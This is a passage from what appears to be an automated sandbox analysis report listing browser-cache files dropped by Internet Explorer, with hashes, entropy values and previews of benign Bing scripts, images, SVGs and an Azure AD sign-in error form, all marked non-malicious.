Preview:	(function(n,t,i,r,u,f,e,o,s){function w(n,t,i){var r=[],u;return n&&(i=i\|\|"*",u=n.getElementsByTagName(i),h(u,function(n){nt(n,t)&&r.push(n)})),r}function b(n,t,i){var r=[];return h(n,function(n){var u=w(n,t,i);u&&u.length>0&&(r=r.concat(u))}),r}function bt(n,t){var i=[];return h(n,function(n){var r=null;try{r=n.querySelector(t)}finally{r&&(i=i.concat(r))}}),i}function ut(n){return g[n]\|\|(g[n]=new RegExp("\\b"+n+"\\b")),g[n]}function nt(n,t){var i=n.className\|\|"";return ut(t).test(i)}function y(n,t){n.className=n.className\|\|"";nt(n,t)\|\|(n.className+=" "+t)}function p(n,t){var i=n.className\|\|"",r=ut(t);n&&i&&t&&(n.className=n.className.replace(r,"").replace(/\s+/," "))}function a(n){return f(n),u(n),!1}function kt(n){return(n=n\|\|i.event,n.pageX\|\|n.pageY)?{x:n.pageX,y:n.pageY}:{x:n.clientX+s.scrollLeft-s.clientLeft,y:n.clientY+s.scrollTop-s.clientTop}}function c(n,t){var i=n.currentStyle,r=0,u;return _w.getComputedStyle&&(i=_w.getComputedStyle(n),sb_ie&&(r=parseFloat(i.paddingTop)+parseF

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\_cTVIwHRhwQtCi8TbO7ywAXcu4s[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (824), with no line terminators
Category:	dropped
Size (bytes):	824
Entropy (8bit):	5.3314854117420465
Encrypted:	false
SSDEEP:	24:2QQ3xVJjKVJ5o7VEioPVKofuVJ0PoRGP2QbAX53CO2Wd6o0YmmBM:AjWUJEhNZsvc8XgO2Wdh0Jm6
MD5:	3FF8EECB7A6996C1056BBE9D4DDE50B4
SHA1:	FDC4D52301D187042D0A2F136CEEF2C005DCBB8B
SHA-256:	01B479F35B53D8078BACA650BDD8B926638D8DAAA6EB4A9059E232DBD984F163
SHA-512:	49E68AA570729CC96ED0FD2F5F406D84869772DF67958272625CBA9D521CA508955567E12573D7C73D7E7727260D746B535C2CE6A3ACE4952EDF8FD85F3DB0DD
Malicious:	false
Preview:	(function(){function i(){var f="data-load",u,i;if(n&&!n.hasAttribute(f))try{if(_d.body.appendChild(n),typeof sj_gx=="function"){if(u=r.replace("%IG%",_G.IG).replace("%IID%",n.getAttribute("data-iid")).replace("%PARTNER%",n.getAttribute("data-ptn")).replace("%ENABLEP%",n.getAttribute("data-ep")).replace("%ICONPRELOADED%",n.getAttribute("data-iconpl")),n.setAttribute(f,"1"),i=sj_gx(),!i)return null;i.onreadystatechange=function(){typeof sj_appHTML=="function"&&4==i.readyState&&200==i.status&&sj_appHTML(n,i.responseText)};i.open("GET",t?SbiTst.at(u):u,!0);i.send(null)}}catch(e){}}function u(){if(n){var r=n.getAttribute("data-evt");r&&!t?sj_evt.bind(r,i,!0):i()}}var r="/images/sbi?mmasync=1&ig=%IG%&iid=%IID%&ptn=%PARTNER%&ep=%ENABLEP%&iconpl=%ICONPRELOADED%",n=_ge("sbicom_loader"),t=typeof SbiTst!="undefined";u()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\_cTVIwHRhwQtCi8TbO7ywAXcu4s[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (824), with no line terminators
Category:	dropped
Size (bytes):	824
Entropy (8bit):	5.3314854117420465
Encrypted:	false
SSDEEP:	24:2QQ3xVJjKVJ5o7VEioPVKofuVJ0PoRGP2QbAX53CO2Wd6o0YmmBM:AjWUJEhNZsvc8XgO2Wdh0Jm6
MD5:	3FF8EECB7A6996C1056BBE9D4DDE50B4
SHA1:	FDC4D52301D187042D0A2F136CEEF2C005DCBB8B
SHA-256:	01B479F35B53D8078BACA650BDD8B926638D8DAAA6EB4A9059E232DBD984F163
SHA-512:	49E68AA570729CC96ED0FD2F5F406D84869772DF67958272625CBA9D521CA508955567E12573D7C73D7E7727260D746B535C2CE6A3ACE4952EDF8FD85F3DB0DD
Malicious:	false
Preview:	(function(){function i(){var f="data-load",u,i;if(n&&!n.hasAttribute(f))try{if(_d.body.appendChild(n),typeof sj_gx=="function"){if(u=r.replace("%IG%",_G.IG).replace("%IID%",n.getAttribute("data-iid")).replace("%PARTNER%",n.getAttribute("data-ptn")).replace("%ENABLEP%",n.getAttribute("data-ep")).replace("%ICONPRELOADED%",n.getAttribute("data-iconpl")),n.setAttribute(f,"1"),i=sj_gx(),!i)return null;i.onreadystatechange=function(){typeof sj_appHTML=="function"&&4==i.readyState&&200==i.status&&sj_appHTML(n,i.responseText)};i.open("GET",t?SbiTst.at(u):u,!0);i.send(null)}}catch(e){}}function u(){if(n){var r=n.getAttribute("data-evt");r&&!t?sj_evt.bind(r,i,!0):i()}}var r="/images/sbi?mmasync=1&ig=%IG%&iid=%IID%&ptn=%PARTNER%&ep=%ENABLEP%&iconpl=%ICONPRELOADED%",n=_ge("sbicom_loader"),t=typeof SbiTst!="undefined";u()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\authorize[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines (1197), with no line terminators
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	5.261334908994994
Encrypted:	false
SSDEEP:	24:k+NmKUauE2bovcLABeU572HQ3EA+spNRF6DnVNC+s0+NaSrqcWZI1RuniWLXI:n0GmLABeS71F+spwG+s0+gSrqcWGu+
MD5:	2D930B35C404E86CBC96E429BD451401
SHA1:	121F5BEA2E923C18F7206C6401E388217C643609
SHA-256:	A02D0DF77A082A50367833E7FEC5D67E237543E3A6B95D5527D366BCB2E2D295
SHA-512:	EB48602E1FAD98C9331F3AFF9A1642A46155566D6ED8068B4366BAD1A7B6844AC8C420498AE1206E30AA253D88055F0DEAB882F81250C167D25460979FF0454C
Malicious:	false
Preview:	<html><head><title>Working...</title></head><body><form method="POST" name="hiddenform" action="https://www.bing.com/orgid/idtoken/conditional"><input type="hidden" name="error" value="login_required" /><input type="hidden" name="error_description" value="AADSTS50058: A silent sign-in request was sent but no user is signed in. The cookies used to represent the user's session were not sent in the request to Azure AD. This can happen if the user is using Internet Explorer or Edge, and the web app sending the silent sign-in request is in different IE security zone than the Azure AD endpoint (login.microsoftonline.com). Trace ID: 8252e5b6-4cfd-4aff-8021-b9339f58c300 Correlation ID: 0fc2f6cc-e094-4cce-bd7b-20dfb484d1ed Timestamp: 2024-12-27 13:43:26Z" /><input type="hidden" name="error_uri" value="https://login.microsoftonline.com/error?code=50058" /><input type="hidden" name="state" value="{"ig":"74563D165ED94048A3939A3D41D72198"}" /><noscript><p>Script is disabled.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\b1UvgiIbimwO0MD72b316M0N024[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (15789)
Category:	dropped
Size (bytes):	15820
Entropy (8bit):	5.362313027232629
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfqyDOhKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvL:Y5Tifh3bBpBnqIH+Z6sepXvL
MD5:	E14AFE0121E4B3CDE3C37DED6BD94FC7
SHA1:	A277D0C3B0E40D576AA3C1A2FF7715F326ADD87C
SHA-256:	C2FD78495C8426ED136D3E2741DAC2F1694DA6EF3DE70B96741D2A8C81EB4692
SHA-512:	B637867C3C1B247CCD910D52933DC8CEBB20F2601EFE4DA2E25DD42FB74C2C2AAFEE67006FEEED7F615F84156FF1B71DCE20B8109A635BEE0CBB51D656D79EED
Malicious:	false
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cfeVf2-uV0hUo3ToTbLjztuomWk[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:51:08], progressive, precision 8, 160x158, components 3
Category:	dropped
Size (bytes):	4547
Entropy (8bit):	7.735536921390623
Encrypted:	false
SSDEEP:	96:ssb41dk9JozAQ8d2SuBK76KrZDoDBtnFKiDo8TzNnNJSHvLPS:sj1eozAQ8d2VPGoBBFfM4fJSHDPS
MD5:	7AEF4CCF6E47B9BA038365CD3D1F5693
SHA1:	71F7957F6FAE574854A374E84DB2E3CEDBA89969
SHA-256:	08102BA7A0388B1AFC9A351B3387B2DDEDA846551303170E0273B2F305AECCB2
SHA-512:	29AC1E6BADF62C61B4FA889EA1B0436D3B9107A60BA03801DFA8E23A4D8BCCF42C09BB7CC7E6CD9FACB8D140DB7E0D4F0EEB3D7D8A3B9B38B1D2B95113005320
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:51:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................VQJ,..R...)..(..R..d.Y@...h..%(.AW(T.)...5.,.%.2[.."!l...Z......@I..T.......@3.@....D@ ..l.)E.P....ts......@... E".W/G...........IQ..I\|../.,..W..(....WY.1<.t..=....K...C....-.1..s.[l...^].mO7\|..:.kda5....o.=.S.8.;....~e,.......1v..~5.:s'$..u.i..k.7._E25...f6v..Nk.&)....S.r...ovn5...k9k...u.D...f&.......e.+.7......d..7K.R]..f..K..l...r....K.b..s29...y;..U.E(.qH....,....QS%..@....'......................... !."1.#$0@.`............R.J..e~...+.J.....y..7#..^....,.....@.3..`.....L...[u.!.../...;[7.,...a....[._W...B;.....4g+../c..>g...!..U..Q...0...$..F%...u\|.2?.V.>.v..2.2.S.c..km)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\chRhkXPE7Aab4f8A3WEJL9KYGvA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (667), with no line terminators
Category:	dropped
Size (bytes):	667
Entropy (8bit):	5.251512275863699
Encrypted:	false
SSDEEP:	12:fr5esz7hNGwXI2QA3QglxfLQOtKfWM1kI2JGC+t5821xw9i/UJpN0I:fr5NhNGOgAggDDQOtjMbhH582Ugk0I
MD5:	2AB12BF4A9E00A1F96849EBB31E03D48
SHA1:	7214619173C4EC069BE1FF00DD61092FD2981AF0
SHA-256:	F8B5ACF4DA28E0617F1C81093192D044BD5A6CC2A2E0C77677F859ADCF3430AC
SHA-512:	7D5AAE775BE1E482EADA1F453BEA2C52A62C552FA94949E6A6081F322E679E916B1276BB59FF28CF7C86D21727BCC329ECB03E5D77CA93204E0CD2694FAA72BD
Malicious:	false
Preview:	sb_ie&&function(){function h(){if(t){var u=n.replace(/www\./i,"");return f&&i(t,r,n+"?PC="+f)\|\|i(t,r,n)\|\|i(t,r,u)\|\|i(t,r,n+"?Form=HPPDH1")\|\|i(t,r,n+"?PC=BNHP")\|\|i(t,r,n+"?PC=BNSR")}return 0}function c(){return i(_w.external,s,n)!=0}function l(){if(u){var n=2e+o;if(u==n)return!0}return!1}function a(){var n=_ge("hps");return n\|\|(n=sj_ce("span","hps"),n.style.behavior="url(#default#homepage)",sj_b.appendChild(n)),n}function i(n,t,i){try{return n[t](i)}catch(r){return 0}}var s="IsSearchProviderInstalled",r="isHomepage",n="http://"+_d.domain+"/",u=sj_cook.get("_UR","D"),f=sj_cook.get("SRCHS","PC"),t=a(),e=h(),o=c();l()\|\|(u=2e+o,sj_cook.set("_UR","D",u,1,"/"))}()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cye7NhBZJb1Rti8Cl6_Q9XmgID0[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (371), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.964799787793963
Encrypted:	false
SSDEEP:	6:qGD7/TMvKyYLwRMF4owANCqwvpkTzT6n0evROARDCMwzkk6Km0Msv/Gvz:JPwKVDJHCqspkZeZJDC/wKE
MD5:	B743465BB18A1BE636F4CBBBBD2C8080
SHA1:	7327BB36105925BD51B62F0297AFD0F579A0203D
SHA-256:	FEE47F1645BC40FBC0F98E05E8A53C4211F8081629FFDA2F785107C1F3F05235
SHA-512:	5592DEF225E34995F2F4E781F02CC2B489C66A7698D2FEFF9AC9A71F09E5284B6BBDB065E1DF9C06ADFB1F467D5627FBD06E647ABF4E6AB70CF34501232126AD
Malicious:	false
Preview:	var SbiPrivacy;(function(){function t(){var i,r,t,u;if(typeof SbiUtil!="undefined"&&SbiUtil.rt&&_d.querySelectorAll)for(i=SbiUtil.rt.querySelectorAll(".sbiinflnk[data-link]"),r=function(t){var i=t.target;i.hasAttribute(n)&&(i.href=i.getAttribute(n),i.removeAttribute(n))},t=0;t<i.length;t++){u=i[t];SbiUtil.oncop(u,r)}}var n="data-link";t()})(SbiPrivacy\|\|(SbiPrivacy={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\dbmNS45xQvD1diApY1T2HExvOo8[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4934
Entropy (8bit):	7.782095567670307
Encrypted:	false
SSDEEP:	96:sHbZoNWsmjRgjXFQvdXNkuz4nicDWk+4Nf6Q2mKwADHfXC7OWn:sFmmjGjWddkuz4nicyktAtmtAbuLn
MD5:	FDA2CEAE0679611937E6E71F701A36AB
SHA1:	75B98D4B8E7142F0F57620296354F61C4C6F3A8F
SHA-256:	B818C1E9B0B46CCCDC158ACA581C3C5F4A9BD3DDA380DA03AF52F43F14F5651E
SHA-512:	904100EBE310AFDF86C2E4C9CBDDC118178D41B45D076BB6077DB8F3BCED8B3CEDF545CE079E39B6F8034C2247FD4C824C0522B6221E3CDC02423AF8EEB9F8A3
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:53:43....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................._..Z/9.....AhY...T0!Eu,..dk.....y. .LP.B..V..m@@f....<uf.......h...)8.2j..U...<.n....4.B.-....W..^.J..o.{.....z.....".s.,.S...;...^f<.O8,>u.s...n.)....\o..6.{.=#:(.F.;..;1].V.........U5.1..W..g7\|r5..==...Hy..h....@...KV.{.l.9.........F.S....N{9.Y..(C.f..u\..&OX..-..N..w\..(.:.1..:ldGW.q.!...mo...e.=........a2..:hkA.....Z.:r}.....Z[...../\...-..A.#..E-K.5..k........]....yQhiAF........cy.[...C..qg.j.Y..Q3.Uh(..X.>kjs..5.....=.M.J.m.Q...FE.m=s..>.WSv..J..42+....V..[....n,.h..5...\.I]...%T.0k.=...h..5.td....].@.\..^.r....d.f..[....k....0E.U..H.....G...]]Z.M.Y..-..I....%.......................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\fEzca4bKO4pRulhVlOoat7eLgmU[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1274), with no line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	5.30620342636407
Encrypted:	false
SSDEEP:	24:+Fq4YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzWPn8X0kdo6QBUf4JPwk:+FGF6UYXEBi9k5P8OPUY
MD5:	A969230A51DBA5AB5ADF5877BCC28CFA
SHA1:	7C4CDC6B86CA3B8A51BA585594EA1AB7B78B8265
SHA-256:	8E572950CBDA0558F7B9563CE4F5017E06BC9C262CF487E33927A948F8D78F7F
SHA-512:	F45B08818A54C5FD54712C28EB2AC3417EEA971C653049108E8809D078F6DD0560C873CEB09C8816ECD08112A007C13D850E2791F62C01D68518B3C3D0ACCCEB
Malicious:	false
Preview:	var Identity=Identity\|\|{};(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var s=u("id_h"),o=u("id_l"),h="click";t.bind("o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\fdVZU4ttbw8NDRm6H3I5BW3_vCo[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ieSu8a5yrw93MLISV3F2AD60S6I[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (15678), with no line terminators
Category:	modified
Size (bytes):	15678
Entropy (8bit):	5.324358729025482
Encrypted:	false
SSDEEP:	384:90RU0qFPpFQ2cLJoyPKWrEysjXryLnmVyYNnL3/9BD1DdNCgTlPlMHEyM2hluZX7:90RtqppFyoyCcEys7UnpYdv9j2gRPlm8
MD5:	F420F6495D96A09B18AE9C2D2D53663C
SHA1:	89E4AEF1AE72AF0F7730B212577176003EB44BA2
SHA-256:	CB2E879CEE77E2116DA4608857CA8D66A053FADF41C72BA60C1CEE0100DE1EC4
SHA-512:	9FB9C37C154B855314D185AADC055134975E0F7A2703EA362DFC2F8DED589ABA77DC25F006CF004DD193EA68B026BC2B089EC27ADA26C81CA950A83DF0FE154C
Malicious:	false
Preview:	define("ajax.shared",["require","exports"],function(n,t){function r(n){var r=keyMap[n]?keyMap[n]:keyMap.Prefix+n,i=document.getElementById(r),t;return!i&&document.getElementsByClassName&&(t=document.getElementsByClassName(r),i=t&&t.length?t[0]:null),i}function u(n){var f=sj_ce("a"),t,r,u;return f.href=n,t=f.pathname,t[0]!=="/"&&(t="/"+t),t=t.replace(i,"/"),r="",t==="/"?r=t:(u=n.indexOf(t),r=u>-1?n.substr(u):""),r}function f(n,t,i){for(;n&&n!==document;n=n.parentNode){if(n[t]===i)return n;if(n===undefined)break}}var i=/^(\/)(\1+)/;t.useSetBag=!1;t.ajaxUrlBag="";t.getPlaceholder=r;t.getRelativeUrl=u;t.getParentContainer=f});define("ajax.cache",["require","exports"],function(n,t){function w(n,t,i,r){if(n>=0){var u=g(n);switch(t){case"Script":u.ScriptHolder.push(r);break;case"Style":u.Style+=r;break;case"EOS":u.Script=u.ScriptHolder;delete u.ScriptHolder;u[t]=r;c(i,u);break;default:u[t]=r}}}function b(n){var t=sessionStorage.getItem(i+n);return t?JSON.parse(t):null}function c(n,t){_G.JCach

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\kAwiv9gc4HPfHSU3xUQp2Xqm5wA[1].png

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 1030 x 92, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9310
Entropy (8bit):	7.907965931624856
Encrypted:	false
SSDEEP:	192:qnmErbd5SU2ipCfR6VY9Fcygr2XecqN4zvEd4xSNzvkmglkz80bl7xcnobmP:S5bdAU3EJiHpSucq+z64xSlp40Bx8oKP
MD5:	1947B15739221EB0DB271C1DD8F95E46
SHA1:	900C22BFD81CE073DF1D2537C54429D97AA6E700
SHA-256:	FBF7FE8197902B32CE2C83F05DB73255553C716AC7B084FF1878E617963D0F51
SHA-512:	E73B17A0CCAEA85C539B5DA3BA978EBDA519D68F5686894EBEBBB529DCA54D07CA3508DBCED9D8F56D71D49469FA5916A7255B6CA455E00251D81B5E03410E5C
Malicious:	false
Preview:	.PNG........IHDR.......\.......Gi...sPLTEGpL.e"..?..?..=........................uut.............O..K..J..J..K..K..J..J..M..O..S..O.uux.V..K.....ffffff.I.2..1..%q..>. Y.$d.BFBDDDDDDBGB.K...........K.$i.#a.DDDDDDDDDuww......!\.DDDDDDuwx.J.....\.$g. Z.CCCvvzvxywx{"^.CCCvwywx{vvwvvzwx{vwxxx\|wx{wxzfff%.....$h.DDDCCC.h..[..x.._..S.vvx...9..._.%h.!`.DDD...AHAuwx.R..O.m.cK.}....U.g.c..N.Qs.X..]d..8..&.c...2.....$........#..e....'..h.vw.......XS..i........[..b.rC.H=www...zzz........T..................................J...................qqqqqqqqq.k..m.......413..................vvv....l.......uuu....m..................................................."........".."...\......tRNS..@..@.....` ...p.@.......p .``P.P_.........Z...0........p0_....P0....@@....... .p........"..R..@...0..0..... ...w...0..@.....X.......b.......... `......P@....p1`P.......=............p....D@..M.'.....0....Y.... .IDATx...Ub.@...S.ic.A.....E.....=%0s...^k"..S)..cff.U.en..".FS.Bm.j.m.....&.,.Y.0..........k.E.*U

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\kiGH9ukZK6Q4hvtDtwwVc1yvueg[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	4.796412914000846
Encrypted:	false
SSDEEP:	24:t4LxSdeBU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+xSUBU4S55Z/aB5BmefEqrRYK6
MD5:	620580657E8A45B4A7B8450B8DA5CD32
SHA1:	922187F6E9192BA43886FB43B70C15735CAFB9E8
SHA-256:	91DE3100632E986CDB6897793EF1B2A8655B15ED4145098CA489856C043D207E
SHA-512:	F3CE71CD92BA2C6ABD6CDEE48F677522439CAD023042D56728E5CB2DED5EC51D1170308FB1524C4A352AC6C5E4E514147D21B99667CCE54CE35A73D91DD27E4B
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" width="64" height="64">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="delay5 anim"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lHJQIO-n0-6PrtK33_xaQQY2O14[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1039), with no line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.394520629964255
Encrypted:	false
SSDEEP:	24:AaV1T141S2BjoljiHXdX4daXOcRWOkDqBlg:AK41PjEjiHKKwOjXg
MD5:	16050BAAF39976A33AC9F854D5EFDB32
SHA1:	94725020EFA7D3EE8FAED2B7DFFC5A4106363B5E
SHA-256:	039E6B3DF1D67341FB8E4A3815F0D1BB3292A2040334CEB9CFC4A8D6ABF2FB55
SHA-512:	CF0D54F0368FFBC6908216FD2573DF8F5FE4C34AC08E17301B8734B3FABC674672A7F456707F632F82F44B36812DAD8A0CF81A51D5CEA21EA7F0E18500298375
Malicious:	false
Preview:	var UetTag;(function(n){function t(n,t,i,r,u){var e,o,h,s,v,f,c;i===void 0&&(i="script");r===void 0&&(r="//bat.bing.com/bat.js");u===void 0&&(u="uetq");var y=n.location.search.substring(1),l=y.split("&"),a="";for(e=0;e<l.length;e++)if(o=l[e].split("="),o.length>=2&&o[0]==="form"){a=o[1];break}for(h=["MSC001","MSC002","MSC003","MSC005","MSC006","MSC007","MSC008","MSC009","MSC010","MSC011","MSC012","MSC013","MSC014","MSC015","MSC016","MSC017","MSC018","MSC019","MSC020","SP0001","SP0002","MOG001","MOG002","MOG003","MOG004","MOG005","MOG006","MOG007","MOG008","MOG009","MOG010"],s=0;s<h.length;s++)if(h[s]===a){n[u]=n[u]\|\|[];v=function(){var t={ti:"355015334",q:null};t.q=n[u];n.UET&&(n[u]=new n.UET(t)\|\|[]);n[u].push("pageLoad")};f=t.createElement(i);f.src=r;f.async=1;f.onload=f.onreadystatechange=function(){var n=this.readyState;n&&n!=="loaded"&&n!=="complete"\|\|(v(),f.onload=f.onreadystatechange=null)};c=t.getElementsByTagName(i)[0];c.parentNode.insertBefore(f,c);break}}n.uetTaggingInit=t;t(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lHJQIO-n0-6PrtK33_xaQQY2O14[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1039), with no line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.394520629964255
Encrypted:	false
SSDEEP:	24:AaV1T141S2BjoljiHXdX4daXOcRWOkDqBlg:AK41PjEjiHKKwOjXg
MD5:	16050BAAF39976A33AC9F854D5EFDB32
